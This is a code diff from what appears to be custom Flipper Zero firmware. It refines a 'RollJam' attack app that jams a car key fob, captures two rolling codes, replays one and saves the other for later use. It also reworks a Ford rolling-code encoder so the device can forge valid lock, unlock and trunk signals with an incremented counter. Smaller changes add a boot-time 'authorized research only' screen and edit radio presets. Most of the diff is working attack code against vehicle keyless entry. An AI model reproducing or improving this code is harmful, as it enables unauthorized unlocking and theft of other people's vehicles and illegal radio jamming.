FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
app->signal_first.size);
// Stop capture cleanly
rolljam_capture_stop(app);
// Jamming stays active!
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase2);
if(!rolljam_signal_is_valid(&app->signal_first)) {
FURI_LOG_W(TAG, "Phase1: false capture, restarting RX...");
app->signal_first.size = 0;
app->signal_first.valid = false;
furi_delay_ms(50);
rolljam_capture_start(app);
return true;
}
rolljam_signal_cleanup(&app->signal_first);
app->signal_first.valid = true;
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
(int)app->signal_first.size);
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase2);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase1: cancelled by user");
FURI_LOG_I(TAG, "Phase1: cancelled");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(

View File

@@ -9,10 +9,8 @@
static void phase2_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_second.size > 0 &&
if(app->signal_second.size >= 20 &&
rolljam_signal_is_valid(&app->signal_second)) {
rolljam_signal_cleanup(&app->signal_second);
app->signal_second.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
@@ -38,21 +36,14 @@ void rolljam_scene_attack_phase2_on_enter(void* context) {
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
// CRITICAL: completely clear second signal
memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
app->signal_second.size = 0;
app->signal_second.size = 0;
app->signal_second.valid = false;
// Stop previous capture if any
rolljam_capture_stop(app);
// Small delay to let radio settle
furi_delay_ms(50);
// Start fresh capture for second signal
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_yellow_100);
@@ -72,19 +63,30 @@ bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
app->signal_second.size);
rolljam_capture_stop(app);
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase3);
if(!rolljam_signal_is_valid(&app->signal_second)) {
FURI_LOG_W(TAG, "Phase2: false capture, restarting RX...");
app->signal_second.size = 0;
app->signal_second.valid = false;
furi_delay_ms(50);
rolljam_capture_start(app);
return true;
}
rolljam_signal_cleanup(&app->signal_second);
app->signal_second.valid = true;
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
(int)app->signal_second.size);
rolljam_capture_stop(app);
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase3);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase2: cancelled by user");
FURI_LOG_I(TAG, "Phase2: cancelled");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(

View File

@@ -10,7 +10,6 @@
void rolljam_scene_attack_phase3_on_enter(void* context) {
RollJamApp* app = context;
// UI
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
@@ -28,23 +27,18 @@ void rolljam_scene_attack_phase3_on_enter(void* context) {
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// LED: green
notification_message(app->notification, &sequence_blink_green_100);
// 1) Stop the jammer
rolljam_jammer_stop(app);
// Wait for jammer thread to fully stop and radio to settle
furi_delay_ms(1000);
// 2) Transmit first captured signal via internal CC1101
rolljam_transmit_signal(app, &app->signal_first);
FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
notification_message(app->notification, &sequence_success);
// Brief display then advance
furi_delay_ms(800);
view_dispatcher_send_custom_event(

View File

@@ -4,43 +4,68 @@
// Menu scene: select frequency, modulation, start attack
// ============================================================
static uint8_t get_min_offset_index(uint8_t mod_index) {
if(mod_index == ModIndex_AM270) return JamOffIndex_1000k;
return JamOffIndex_300k;
}
static void enforce_min_offset(RollJamApp* app, VariableItem* offset_item) {
uint8_t min_idx = get_min_offset_index(app->mod_index);
if(app->jam_offset_index < min_idx) {
app->jam_offset_index = min_idx;
app->jam_offset_hz = jam_offset_values[min_idx];
if(offset_item) {
variable_item_set_current_value_index(offset_item, min_idx);
variable_item_set_current_value_text(offset_item, jam_offset_names[min_idx]);
}
FURI_LOG_I(TAG, "Menu: offset ajustado a %s para AM270",
jam_offset_names[min_idx]);
}
}
static VariableItem* s_offset_item = NULL;
static void menu_freq_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->freq_index = index;
app->frequency = freq_values[index];
app->frequency = freq_values[index];
variable_item_set_current_value_text(item, freq_names[index]);
}
static void menu_mod_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->mod_index = index;
variable_item_set_current_value_text(item, mod_names[index]);
enforce_min_offset(app, s_offset_item);
}
static void menu_jam_offset_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
uint8_t min_idx = get_min_offset_index(app->mod_index);
if(index < min_idx) {
index = min_idx;
variable_item_set_current_value_index(item, index);
}
app->jam_offset_index = index;
app->jam_offset_hz = jam_offset_values[index];
app->jam_offset_hz = jam_offset_values[index];
variable_item_set_current_value_text(item, jam_offset_names[index]);
}
static void menu_hw_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->hw_index = index;
variable_item_set_current_value_text(item, hw_names[index]);
}
static void menu_enter_callback(void* context, uint32_t index) {
RollJamApp* app = context;
if(index == 4) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventStartAttack);
@@ -72,12 +97,17 @@ void rolljam_scene_menu_on_enter(void* context) {
variable_item_set_current_value_index(mod_item, app->mod_index);
variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
// --- Jam Offset ---
VariableItem* offset_item = variable_item_list_add(
app->var_item_list,
"Jam Offset",
JamOffIndex_COUNT,
menu_jam_offset_changed,
app);
s_offset_item = offset_item;
enforce_min_offset(app, offset_item);
variable_item_set_current_value_index(offset_item, app->jam_offset_index);
variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
@@ -111,8 +141,9 @@ bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventStartAttack) {
// Clear previous captures
memset(&app->signal_first, 0, sizeof(RawSignal));
enforce_min_offset(app, NULL);
memset(&app->signal_first, 0, sizeof(RawSignal));
memset(&app->signal_second, 0, sizeof(RawSignal));
scene_manager_next_scene(
@@ -125,5 +156,6 @@ bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
void rolljam_scene_menu_on_exit(void* context) {
RollJamApp* app = context;
s_offset_item = NULL;
variable_item_list_reset(app->var_item_list);
}

View File

@@ -48,7 +48,7 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSaveSignal) {
// Save to .sub file
rolljam_save_signal(app, &app->signal_second);
popup_reset(app->popup);
@@ -68,7 +68,7 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
return true;
} else if(event.event == RollJamEventReplayNow) {
// Show sending screen
popup_reset(app->popup);
popup_set_header(
app->popup, "Transmitting...",
@@ -79,7 +79,6 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
// Transmit second signal
rolljam_transmit_signal(app, &app->signal_second);
notification_message(app->notification, &sequence_success);

View File

@@ -9,7 +9,6 @@ App(
"nfc",
"subghz",
"rolljam",
"lf_sniffer",
"subghz_bruteforcer",
"archive",
"subghz_remote",

View File

@@ -108,9 +108,9 @@ Custom_preset_name: FSK_1
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 03 47 08 32 0B 0C 10 C7 11 93 12 00 13 22 14 F8 15 35 18 18 19 1D 1B 04 1C 00 1D 92 20 FB 21 B6 22 17 00 00 12 0E 1D 34 60 84 C8 C0
Custom_preset_name: FSK_3
Custom_preset_name: F3
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 03 47 08 32 0B 06 0C 00 0D 10 0E 0F 0F 10 C5 11 83 12 80 13 22 14 F8 15 42 16 07 17 30 18 18 19 1D 1A 1C 1B 43 1C 40 1D 91 20 FB 21 B6 22 00 23 E9 24 2A 25 00 26 1F 2C 81 2D 35 2E 09 00 00 12 0E 1D 34 60 84 C8 C0
Custom_preset_data: 02 0D 03 47 08 32 0B 06 0C 00 0D 10 0D 0D 10 C5 11 83 12 80 13 22 14 F8 15 42 16 07 17 30 18 18 19 1D 1A 1C 1B 43 1C 40 1D 91 20 FB 21 B6 22 00 23 E9 24 2A 25 00 26 1F 2C 81 2D 35 2E 09 00 00 12 0E 1D 34 60 84 C8 C0
Custom_preset_name: FM95
Custom_preset_module: CC1101
@@ -119,11 +119,3 @@ Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 67 11 83 12 04 13 02 15 24 18 18
Custom_preset_name: FM15k
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 03 47 08 32 0B 06 10 A7 11 32 12 00 13 00 14 00 15 32 18 18 19 1D 1B 04 1C 00 1D 92 20 FB 21 B6 22 17 00 00 00 12 0E 34 60 C5 C1 C0
Custom_preset_name: AU_1 (test auto FSK)
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 03 47 08 32 0B 0C 10 5B 11 F8 12 00 13 22 14 F8 15 47 18 18 19 1D 1B 04 1C 00 1D 92 20 FB 21 B6 22 17 00 00 12 0E 34 60 84 C8 C0
Custom_preset_name: RF_1 (test sniff vario FSK/OOK hybrid)
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 03 47 08 32 0B 0C 10 7B 11 83 12 00 13 22 14 F8 15 50 18 18 19 1D 1B 04 1C 00 1D 92 20 FB 21 B6 22 17 00 00 12 0E 34 60 84 C8 C0

View File

@@ -282,6 +282,7 @@ static Desktop* desktop_alloc(void) {
desktop->pin_input_view = desktop_view_pin_input_alloc();
desktop->pin_timeout_view = desktop_view_pin_timeout_alloc();
desktop->slideshow_view = desktop_view_slideshow_alloc();
desktop->tos_view = desktop_view_tos_alloc();
desktop->main_view_stack = view_stack_alloc();
desktop->main_view = desktop_main_alloc();
@@ -326,6 +327,10 @@ static Desktop* desktop_alloc(void) {
desktop->view_dispatcher,
DesktopViewIdSlideshow,
desktop_view_slideshow_get_view(desktop->slideshow_view));
view_dispatcher_add_view(
desktop->view_dispatcher,
DesktopViewIdTos,
desktop_view_tos_get_view(desktop->tos_view));
// Lock icon
desktop->lock_icon_viewport = view_port_alloc();
@@ -513,6 +518,8 @@ int32_t desktop_srv(void* p) {
scene_manager_next_scene(desktop->scene_manager, DesktopSceneSlideshow);
}
scene_manager_next_scene(desktop->scene_manager, DesktopSceneTos);
if(!furi_hal_version_do_i_belong_here()) {
scene_manager_next_scene(desktop->scene_manager, DesktopSceneHwMismatch);
}

View File

@@ -11,6 +11,8 @@
#include "views/desktop_view_lock_menu.h"
#include "views/desktop_view_debug.h"
#include "views/desktop_view_slideshow.h"
#include "views/desktop_view_tos.h"
#include "helpers/arf_boot_jingle.h"
#include <gui/gui.h>
#include <gui/view_stack.h>
@@ -32,6 +34,7 @@ typedef enum {
DesktopViewIdPinInput,
DesktopViewIdPinTimeout,
DesktopViewIdSlideshow,
DesktopViewIdTos,
DesktopViewIdTotal,
} DesktopViewId;
@@ -55,6 +58,7 @@ struct Desktop {
DesktopMainView* main_view;
DesktopViewPinTimeout* pin_timeout_view;
DesktopSlideshowView* slideshow_view;
DesktopViewTos* tos_view;
DesktopViewPinInput* pin_input_view;
ViewStack* main_view_stack;

View File

@@ -0,0 +1,98 @@
#include "arf_boot_jingle.h"
#include <furi.h>
#include <furi_hal_speaker.h>
typedef struct {
float frequency;
uint32_t duration_ms;
} ArfBootNote;
static const ArfBootNote arf_boot_jingle[] = {
{1046.50f, 50},
{1046.50f, 200},
{0.0f, 100},
{783.99f, 300},
{0.0f, 50},
{659.26f, 300},
{0.0f, 50},
{783.99f, 250},
{880.00f, 100},
{880.00f, 100},
{783.99f, 300},
{1046.50f, 150},
{1318.51f, 150},
{1760.00f, 250},
{1396.91f, 150},
{1567.98f, 100},
{1318.51f, 250},
{1174.66f, 150},
{1396.91f, 150},
{1318.51f, 400},
{392.00f, 100},
{523.25f, 300},
{0.0f, 50},
{1567.98f, 150},
{1479.98f, 150},
{1396.91f, 150},
{1174.66f, 250},
{1318.51f, 300},
{783.99f, 150},
{1046.50f, 100},
{1318.51f, 100},
{783.99f, 100},
{1046.50f, 100},
{1318.51f, 150},
{0.0f, 50},
{1567.98f, 150},
{1479.98f, 100},
{1396.91f, 150},
{1174.66f, 250},
{1318.51f, 300},
{0.0f, 50},
{2093.00f, 700},
};
static const uint32_t arf_boot_jingle_len =
sizeof(arf_boot_jingle) / sizeof(arf_boot_jingle[0]);
static FuriThread* jingle_thread = NULL;
static int32_t arf_jingle_thread_cb(void* context) {
UNUSED(context);
if(!furi_hal_speaker_acquire(1000)) {
return 0;
}
for(uint32_t i = 0; i < arf_boot_jingle_len; i++) {
const ArfBootNote* note = &arf_boot_jingle[i];
if(note->frequency == 0.0f) {
furi_hal_speaker_stop();
} else {
furi_hal_speaker_start(note->frequency, 0.8f);
}
furi_delay_ms(note->duration_ms);
}
furi_hal_speaker_stop();
furi_hal_speaker_release();
return 0;
}
void arf_boot_jingle_play(void) {
if(jingle_thread != NULL) {
return;
}
jingle_thread = furi_thread_alloc_ex("ArfJingle", 512, arf_jingle_thread_cb, NULL);
furi_thread_start(jingle_thread);
}
void arf_boot_jingle_stop(void) {
if(jingle_thread != NULL) {
furi_thread_join(jingle_thread);
furi_thread_free(jingle_thread);
jingle_thread = NULL;
}
}

View File

@@ -0,0 +1,4 @@
#pragma once
void arf_boot_jingle_play(void);
void arf_boot_jingle_stop(void);

View File

@@ -8,3 +8,4 @@ ADD_SCENE(desktop, pin_input, PinInput)
ADD_SCENE(desktop, pin_timeout, PinTimeout)
ADD_SCENE(desktop, slideshow, Slideshow)
ADD_SCENE(desktop, secure_enclave, SecureEnclave)
ADD_SCENE(desktop, tos, Tos)

View File

@@ -4,6 +4,7 @@
#include "../desktop_i.h"
#include "../views/desktop_view_slideshow.h"
#include "../views/desktop_events.h"
#include "desktop_scene.h"
#include <power/power_service/power.h>
void desktop_scene_slideshow_callback(DesktopEvent event, void* context) {

View File

@@ -0,0 +1,52 @@
#include <power/power_service/power.h>
#include <gui/scene_manager.h>
#include "desktop_scene.h"
#include "../desktop_i.h"
#include "../views/desktop_events.h"
#include "../views/desktop_view_tos.h"
static void desktop_scene_tos_callback(DesktopEvent event, void* context) {
Desktop* desktop = (Desktop*)context;
view_dispatcher_send_custom_event(desktop->view_dispatcher, event);
}
void desktop_scene_tos_on_enter(void* context) {
Desktop* desktop = (Desktop*)context;
arf_boot_jingle_play();
gui_set_hide_status_bar(desktop->gui, true);
desktop_view_tos_set_callback(desktop->tos_view, desktop_scene_tos_callback, desktop);
view_dispatcher_switch_to_view(desktop->view_dispatcher, DesktopViewIdTos);
}
bool desktop_scene_tos_on_event(void* context, SceneManagerEvent event) {
Desktop* desktop = (Desktop*)context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
switch(event.event) {
case DesktopTosAccepted:
scene_manager_previous_scene(desktop->scene_manager);
consumed = true;
break;
case DesktopTosDeclined: {
Power* power = furi_record_open(RECORD_POWER);
power_off(power);
furi_record_close(RECORD_POWER);
consumed = true;
break;
}
default:
break;
}
}
return consumed;
}
void desktop_scene_tos_on_exit(void* context) {
Desktop* desktop = (Desktop*)context;
arf_boot_jingle_stop();
gui_set_hide_status_bar(desktop->gui, false);
}

View File

@@ -39,6 +39,8 @@ typedef enum {
DesktopSlideshowCompleted,
DesktopSlideshowPoweroff,
DesktopTosAccepted,
DesktopTosDeclined,
DesktopHwMismatchExit,

View File

@@ -0,0 +1,79 @@
#include <furi.h>
#include "desktop_view_tos.h"
struct DesktopViewTos {
View* view;
DesktopViewTosCallback callback;
void* context;
};
static void desktop_view_tos_draw(Canvas* canvas, void* model) {
UNUSED(model);
canvas_clear(canvas);
static const uint8_t mario_bits[] = {
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xcc,0x00,0x00,0x82,0x01,0x00,
0xc1,0x00,0x00,0xe1,0x07,0x80,0x09,0x08,0x40,0x46,0x07,0x40,0x42,0x03,0x40,0x08,
0x04,0x80,0x30,0x04,0x00,0xf1,0x04,0x80,0x82,0x07,0x20,0xfc,0x00,0x30,0x7e,0x00,
0x10,0x91,0x00,0x10,0xa0,0x02,0xe0,0x20,0x05,0x60,0x31,0x07,0xf0,0xfb,0x03,0xf0,
0xe3,0x00,0xe8,0xe9,0x00,0x08,0xfe,0x00,0x1c,0x7c,0x01,0xf4,0x1f,0x06,0xe4,0x13,
0x0e,0x84,0x90,0x09,0x84,0x40,0x08,0x88,0x20,0x06,0x70,0xe0,0x03,0x00,0x00,0x00};
canvas_draw_xbm(canvas, 105, 0, 22, 32, mario_bits);
canvas_set_font(canvas, FontPrimary);
canvas_draw_str(canvas, 2, 11, "Term of use:");
canvas_set_font(canvas, FontSecondary);
canvas_draw_str(canvas, 3, 22, "Authorize RF research");
canvas_draw_str(canvas, 3, 30, "use ONLY. Unauthorized");
canvas_draw_str(canvas, 3, 39, "use is prohibited.");
canvas_draw_str(canvas, 2, 61, "Back=Shutdown");
canvas_draw_str(canvas, 80, 62, "Ok=Accept");
}
static bool desktop_view_tos_input(InputEvent* event, void* context) {
furi_assert(event);
DesktopViewTos* instance = context;
if(event->type == InputTypeShort) {
if(event->key == InputKeyOk) {
instance->callback(DesktopTosAccepted, instance->context);
return true;
} else if(event->key == InputKeyBack) {
instance->callback(DesktopTosDeclined, instance->context);
return true;
}
}
return true;
}
DesktopViewTos* desktop_view_tos_alloc(void) {
DesktopViewTos* instance = malloc(sizeof(DesktopViewTos));
instance->view = view_alloc();
view_set_context(instance->view, instance);
view_set_draw_callback(instance->view, desktop_view_tos_draw);
view_set_input_callback(instance->view, desktop_view_tos_input);
return instance;
}
void desktop_view_tos_free(DesktopViewTos* instance) {
furi_assert(instance);
view_free(instance->view);
free(instance);
}
View* desktop_view_tos_get_view(DesktopViewTos* instance) {
furi_assert(instance);
return instance->view;
}
void desktop_view_tos_set_callback(
DesktopViewTos* instance,
DesktopViewTosCallback callback,
void* context) {
furi_assert(instance);
furi_assert(callback);
instance->callback = callback;
instance->context = context;
}

View File

@@ -0,0 +1,14 @@
#pragma once
#include <gui/view.h>
#include "desktop_events.h"
typedef struct DesktopViewTos DesktopViewTos;
typedef void (*DesktopViewTosCallback)(DesktopEvent event, void* context);
DesktopViewTos* desktop_view_tos_alloc(void);
void desktop_view_tos_free(DesktopViewTos* instance);
View* desktop_view_tos_get_view(DesktopViewTos* instance);
void desktop_view_tos_set_callback(
DesktopViewTos* instance,
DesktopViewTosCallback callback,
void* context);

View File

@@ -0,0 +1 @@
*

View File

@@ -3,7 +3,7 @@
#include "base.h"
#include <flipper_format/flipper_format.h>
#define FIAT_MARELLI_PROTOCOL_NAME "Fiat Marelli"
#define FIAT_MARELLI_PROTOCOL_NAME "MARELLI"
typedef struct SubGhzProtocolDecoderFiatMarelli SubGhzProtocolDecoderFiatMarelli;
typedef struct SubGhzProtocolEncoderFiatMarelli SubGhzProtocolEncoderFiatMarelli;

View File

@@ -55,7 +55,6 @@ typedef struct SubGhzProtocolDecoderFordV0 {
uint32_t serial;
uint8_t button;
uint32_t count;
uint8_t bs_magic;
} SubGhzProtocolDecoderFordV0;
typedef struct SubGhzProtocolEncoderFordV0 {
SubGhzProtocolEncoderBase base;
@@ -67,8 +66,7 @@ typedef struct SubGhzProtocolEncoderFordV0 {
uint32_t serial;
uint8_t button;
uint32_t count;
uint8_t bs;
uint8_t bs_magic;
uint8_t checksum;
} SubGhzProtocolEncoderFordV0;
typedef enum {
FordV0DecoderStepReset = 0,
@@ -88,14 +86,13 @@ static void decode_ford_v0(
uint16_t key2,
uint32_t* serial,
uint8_t* button,
uint32_t* count,
uint8_t* bs_magic);
uint32_t* count);
static void encode_ford_v0(
uint8_t header_byte,
uint32_t serial,
uint8_t button,
uint32_t count,
uint8_t bs,
uint8_t checksum,
uint64_t* key1);
static bool ford_v0_process_data(SubGhzProtocolDecoderFordV0* instance);
@@ -122,7 +119,6 @@ const SubGhzProtocolEncoder subghz_protocol_ford_v0_encoder = {
.yield = subghz_protocol_encoder_ford_v0_yield,
};
const SubGhzProtocol subghz_protocol_ford_v0 = {
.name = FORD_PROTOCOL_V0_NAME,
.type = SubGhzProtocolTypeDynamic,
@@ -133,16 +129,19 @@ const SubGhzProtocol subghz_protocol_ford_v0 = {
};
// =============================================================================
// BS CALCULATION
// BS = (counter_low_byte + 0x6F + (button << 4)) & 0xFF
// Checksum CALCULATION
// checksum = sum of bytes 1-7
// =============================================================================
static uint8_t ford_v0_calculate_bs(uint32_t count, uint8_t button, uint8_t bs_magic) {
return (uint8_t)(((uint16_t)(count & 0xFF)) + bs_magic + (button << 4));
static uint8_t ford_v0_calculate_checksum_from_buf(uint8_t* buf) {
// Checksum = sum of bytes 1..7 of the pre-XOR buffer
uint8_t checksum = 0;
for(int i = 1; i <= 7; i++)
checksum += buf[i];
return checksum;
}
// =============================================================================
// CRC FUNCTIONS
// =============================================================================
static uint8_t ford_v0_popcount8(uint8_t x) {
uint8_t count = 0;
while(x) {
@@ -168,14 +167,14 @@ static uint8_t ford_v0_calculate_crc(uint8_t* buf) {
return crc;
}
static uint8_t ford_v0_calculate_crc_for_tx(uint64_t key1, uint8_t bs) {
static uint8_t ford_v0_calculate_crc_for_tx(uint64_t key1, uint8_t checksum) {
uint8_t buf[16] = {0};
for(int i = 0; i < 8; ++i) {
buf[i] = (uint8_t)(key1 >> (56 - i * 8));
}
buf[8] = bs;
buf[8] = checksum;
uint8_t crc = ford_v0_calculate_crc(buf);
return crc ^ 0x80;
@@ -204,8 +203,7 @@ static void decode_ford_v0(
uint16_t key2,
uint32_t* serial,
uint8_t* button,
uint32_t* count,
uint8_t* bs_magic) {
uint32_t* count) {
uint8_t buf[13] = {0};
for(int i = 0; i < 8; ++i) {
@@ -216,7 +214,7 @@ static void decode_ford_v0(
buf[9] = (uint8_t)(key2 & 0xFF);
uint8_t tmp = buf[8];
uint8_t bs = tmp;
//uint8_t checksum = tmp; //KEPT FOR CLARITY
uint8_t parity = 0;
uint8_t parity_any = (tmp != 0);
while(tmp) {
@@ -258,9 +256,6 @@ static void decode_ford_v0(
*button = (buf[5] >> 4) & 0x0F;
*count = ((buf[5] & 0x0F) << 16) | (buf[6] << 8) | buf[7];
// Derive per-fob bs_magic constant (inverse of ford_v0_calculate_bs)
*bs_magic = (uint8_t)(bs - (*button << 4) - (uint8_t)(*count & 0xFF));
}
// =============================================================================
@@ -271,7 +266,7 @@ static void encode_ford_v0(
uint32_t serial,
uint8_t button,
uint32_t count,
uint8_t bs,
uint8_t checksum,
uint64_t* key1) {
if(!key1) {
FURI_LOG_E(TAG, "encode_ford_v0: NULL key1 pointer");
@@ -292,16 +287,25 @@ static void encode_ford_v0(
uint8_t count_mid = (count >> 8) & 0xFF;
uint8_t count_low = count & 0xFF;
// Pre-XOR buf[6] and buf[7] for checksum calculation
uint8_t pre_xor_6 = count_mid;
uint8_t pre_xor_7 = count_low;
buf[6] = pre_xor_6;
buf[7] = pre_xor_7;
//checksum = checksum of bytes 1..7 before XOR
checksum = ford_v0_calculate_checksum_from_buf(buf);
uint8_t post_xor_6 = (count_mid & 0xAA) | (count_low & 0x55);
uint8_t post_xor_7 = (count_low & 0xAA) | (count_mid & 0x55);
uint8_t parity = 0;
uint8_t tmp = bs;
uint8_t tmp = checksum;
while(tmp) {
parity ^= (tmp & 1);
tmp >>= 1;
}
bool parity_bit = (bs != 0) ? (parity != 0) : false;
bool parity_bit = (checksum != 0) ? (parity != 0) : false;
if(parity_bit) {
uint8_t xor_byte = post_xor_7;
@@ -330,11 +334,11 @@ static void encode_ford_v0(
FURI_LOG_I(
TAG,
"Encode: Sn=%08lX Btn=%d Cnt=%05lX BS=%02X",
"Encode: Sn=%08lX Btn=%d Cnt=%05lX Checksum=%02X",
(unsigned long)serial,
button,
(unsigned long)count,
bs);
checksum);
FURI_LOG_I(
TAG,
"Encode key1: %08lX%08lX",
@@ -349,10 +353,10 @@ static void encode_ford_v0(
static uint8_t subghz_protocol_ford_v0_get_btn_code(void) {
uint8_t custom_btn = subghz_custom_btn_get();
uint8_t original_btn = subghz_custom_btn_get_original();
if(custom_btn == SUBGHZ_CUSTOM_BTN_OK) return original_btn;
if(custom_btn == SUBGHZ_CUSTOM_BTN_UP) return 0x01; // Lock
if(custom_btn == SUBGHZ_CUSTOM_BTN_DOWN) return 0x02; // Unlock
if(custom_btn == SUBGHZ_CUSTOM_BTN_LEFT) return 0x04; // Boot/Trunk
if(custom_btn == SUBGHZ_CUSTOM_BTN_OK) return original_btn;
if(custom_btn == SUBGHZ_CUSTOM_BTN_UP) return 0x01; // Lock
if(custom_btn == SUBGHZ_CUSTOM_BTN_DOWN) return 0x02; // Unlock
if(custom_btn == SUBGHZ_CUSTOM_BTN_LEFT) return 0x04; // Boot/Trunk
if(custom_btn == SUBGHZ_CUSTOM_BTN_RIGHT) return 0x04; // Boot/Trunk
return original_btn;
}
@@ -375,8 +379,7 @@ void* subghz_protocol_encoder_ford_v0_alloc(SubGhzEnvironment* environment) {
instance->serial = 0;
instance->button = 0;
instance->count = 0;
instance->bs = 0;
instance->bs_magic = 0;
instance->checksum = 0;
FURI_LOG_I(TAG, "Encoder allocated");
return instance;
@@ -574,14 +577,6 @@ SubGhzProtocolStatus
break;
}
instance->generic.cnt = instance->count;
flipper_format_rewind(flipper_format);
uint32_t bs_magic_temp = 0;
if(!flipper_format_read_uint32(flipper_format, "BSMagic", &bs_magic_temp, 1))
instance->bs_magic = 0x6F;
else
instance->bs_magic = (uint8_t)bs_magic_temp;
instance->count = (instance->count + 1) & 0xFFFFF;
instance->generic.cnt = instance->count;
@@ -592,26 +587,33 @@ SubGhzProtocolStatus
instance->button = subghz_protocol_ford_v0_get_btn_code();
instance->bs = ford_v0_calculate_bs(instance->count, instance->button, instance->bs_magic);
// Checksum is calculated inside encode_ford_v0 from buf[1..7]
instance->checksum = 0; // will be set by encode_ford_v0
encode_ford_v0(
header_byte,
instance->serial,
instance->button,
instance->count,
instance->bs,
instance->checksum,
&instance->key1);
instance->generic.data = instance->key1;
instance->generic.data_count_bit = 64;
uint8_t calculated_crc = ford_v0_calculate_crc_for_tx(instance->key1, instance->bs);
instance->key2 = ((uint16_t)instance->bs << 8) | calculated_crc;
uint8_t calculated_crc = ford_v0_calculate_crc_for_tx(instance->key1, instance->checksum);
instance->key2 = ((uint16_t)instance->checksum << 8) | calculated_crc;
FURI_LOG_I(TAG, "Encoded: Sn=%08lX Btn=%02X Cnt=%05lX BS=%02X CRC=%02X key1=%08lX%08lX",
(unsigned long)instance->serial, instance->button,
(unsigned long)instance->count, instance->bs, calculated_crc,
(unsigned long)(instance->key1 >> 32), (unsigned long)(instance->key1 & 0xFFFFFFFF));
FURI_LOG_I(
TAG,
"Encoded: Sn=%08lX Btn=%02X Cnt=%05lX Checksum=%02X CRC=%02X key1=%08lX%08lX",
(unsigned long)instance->serial,
instance->button,
(unsigned long)instance->count,
instance->checksum,
calculated_crc,
(unsigned long)(instance->key1 >> 32),
(unsigned long)(instance->key1 & 0xFFFFFFFF));
flipper_format_rewind(flipper_format);
if(!flipper_format_read_uint32(
@@ -636,8 +638,8 @@ SubGhzProtocolStatus
bool cnt_wr = flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &temp, 1);
temp = calculated_crc;
flipper_format_insert_or_update_uint32(flipper_format, "CRC", &temp, 1);
temp = instance->bs;
flipper_format_insert_or_update_uint32(flipper_format, "BS", &temp, 1);
temp = instance->checksum;
flipper_format_insert_or_update_uint32(flipper_format, "Checksum", &temp, 1);
FURI_LOG_I(TAG, "File updated: Key ok=%d Cnt ok=%d", key_wr, cnt_wr);
@@ -702,12 +704,7 @@ static bool ford_v0_process_data(SubGhzProtocolDecoderFordV0* instance) {
uint16_t key2 = ~key2_raw;
decode_ford_v0(
instance->key1,
key2,
&instance->serial,
&instance->button,
&instance->count,
&instance->bs_magic);
instance->key1, key2, &instance->serial, &instance->button, &instance->count);
instance->key2 = key2;
return true;
@@ -746,7 +743,6 @@ void subghz_protocol_decoder_ford_v0_reset(void* context) {
instance->serial = 0;
instance->button = 0;
instance->count = 0;
instance->bs_magic = 0;
}
void subghz_protocol_decoder_ford_v0_feed(void* context, bool level, uint32_t duration) {
@@ -871,7 +867,7 @@ SubGhzProtocolStatus subghz_protocol_decoder_ford_v0_serialize(
if(ret == SubGhzProtocolStatusOk) {
uint32_t temp = (instance->key2 >> 8) & 0xFF;
flipper_format_write_uint32(flipper_format, "BS", &temp, 1);
flipper_format_write_uint32(flipper_format, "Checksum", &temp, 1);
temp = instance->key2 & 0xFF;
flipper_format_write_uint32(flipper_format, "CRC", &temp, 1);
